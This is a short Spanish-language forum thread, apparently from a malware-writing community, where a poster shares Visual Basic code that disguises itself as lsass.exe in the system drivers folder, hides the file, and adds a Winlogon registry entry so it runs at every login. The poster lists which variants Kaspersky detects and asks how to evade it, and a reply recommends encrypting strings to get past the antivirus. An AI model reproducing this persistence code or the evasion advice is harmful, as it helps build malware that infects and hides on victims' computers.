Buenas,

el pedazo de codigo que detecta es:

Reg_Crea_KeyConValor HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe, " & Environ("WinDir") & "\system32\drivers\lsass.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("WinDir") & "\system32\drivers\lsass.exe" 'lo copiamos
SetAttr Environ("WinDir") & "\system32\drivers\lsass.exe", vbHidden + vbReadOnly + vbSystem
DoEvents
Shell Environ("WinDir") & "\system32\drivers\lsass.exe" 'y lo ejecutamos

Les digo las combinaciones que detecta:

cuando FileCopy no esta no lo detecta, cuando reg_crea_keyconvalor y shell no estan tampoco lo detecta, cuando solo le cambio el nombre al FileCopy digamos le cambio el lsass no lo detecta, intente ponerlo en funcion para que saque de ahi el nombre, tambien intente ponerlo con strreverse.. nadap.. alguna solucion?

Saludos!

PD: el Antivirus es el Kaspersky

asi es, deberias buscar en google, una funcion para cifrar strings
Igualmente en este foro recuerdo haer posteado algo asi. dejame ver...

Muchas gracias muchachos!

Saludos!